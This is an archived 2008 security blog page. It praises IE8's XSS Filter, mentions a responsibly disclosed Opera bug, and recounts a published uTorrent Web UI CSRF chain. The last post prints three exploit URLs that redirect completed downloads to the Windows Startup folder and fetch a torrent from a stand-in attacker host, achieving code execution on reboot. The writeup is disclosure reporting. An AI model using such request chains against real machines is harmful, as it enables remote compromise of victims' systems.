Archive for the 'Web Application Security' Category
Thursday, September 4th, 2008
IE8b2 XSS Filter
I run a number of different browsers, for various reasons. I was once even called a “browserholic” by a colleague! I pulled down IE8b2 when it went live a week ago. I don’t want to talk about the myriad of security features or browsing features as I think they’ve been covered in detail by many different sources, but I do want to mention one security feature… XSS Filter
XSS Filter was created by David Ross… he’s one of the smartest guys I’ve ever met. In addition to being super smart, there is a certain boldness needed to take the lead in developing Internet Explorer’s built-in defense for the bane of the web. David asked a number of security pros around the world to take a look at XSS Filter and I’m honored to have been asked to help. You can see some of the names of those who participated in XSS-Filter’s creation here.
Thanks David and CONGRATS on the release!
Some technical details with regards to XSS-Filter can be found here.
Friday, July 11th, 2008
Opera Stuff
I recently came across an issue in Opera that could allow for some bad stuff. Although the issue has been addressed, I’ve been asked by the Opera security team to hold off on details until they can fully investigate other possibly related issues. I’ll respect that request. I do however, want to take a moment to thank the Opera team for their timely response! Change control, resource allocation, and devoting the appropriate amount of testing to patches for sophisticated applications is a tricky business. The Opera team responded quickly with a patch and kept in great contact with me throughout the process.
It’s a crazy world out there and the web browser is the window to the wild wild west. I wish Opera security team the best of luck!
Monday, April 21st, 2008
CSRF pwns your box?!?!
Before going talking about an interesting set of CSRF vulnerabilities that were released this weekend, I did want to take a few moments to do some “housekeeping” on the recent spreadsheets.google.com XSS. (1) I gave the Google Security Team the details for this particular issue well before talking about it on my blog. (2) The described issue was fixed by the GST before I even considered publically speaking about the vuln. (3) Part of the vulnerability involved a caching flaw in Google’s servers, this issue is specific to Google and it was also fixed… OK, on to the good stuff…
A few weeks ago, Rob Carter told me about a few interesting CSRF vulnerabilities that he discovered in a uTorrent plugin (he publicly disclosed them this weekend). Rob was able to chain together the CSRF vulnerabilities and the net result is complete compromise of the victim’s machine! I think this may be the first PURE CSRF vulnerability that I’ve seen that resulted in compromise of a victims machine (there is an argument amongst some of my colleagues as to whether protocol handling/URI vulnerabilities are actually a form of CSRF, but that’s another story). The series of vulnerabilities basically follow this flow:
When a user installs the uTorrent Web UI plugin. the plugin essentially starts a locally running web server on your machine (in order to serve the Web UI). Rob targets the CSRF vulnerabilities associated with this locally running web server.
- Rob uses a first CSRF to turn on the “Move completed downloads” option on the uTorrent Web UI. The CSRF looks something like this:
http://localhost:14774/gui/?action=setsetting&s=dir_completed_download_flag&v=1
- Once Rob has “turned on” the “Move completed downloads” functionality, he uses a second CSRF to change the path of where the completed torrent download is placed. In the example he gives, he forces the uTorrent plugin to move completed torrent downloads to the Windows startup folder. This CSRF looks something like this:
http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup
- The last step in Rob’s example forces the victim to download a torrent which points to an attacker controlled bat file. Once the file is downloaded, uTorrent places the files into the victim’s startup folder (thanks to the first two CSRFs). This CSRF looks something like this:
http://localhost:14774/gui/?action=add-url&s=http://www.attacker.com/file.torrent
Once the file is placed, the next time the user restarts their machine, the attacker controlled file will be run… there you have it… compromise of a victim’s system through three CSRFs! Scary stuff… you can read more about the issue on Robs Blog <robs blog>.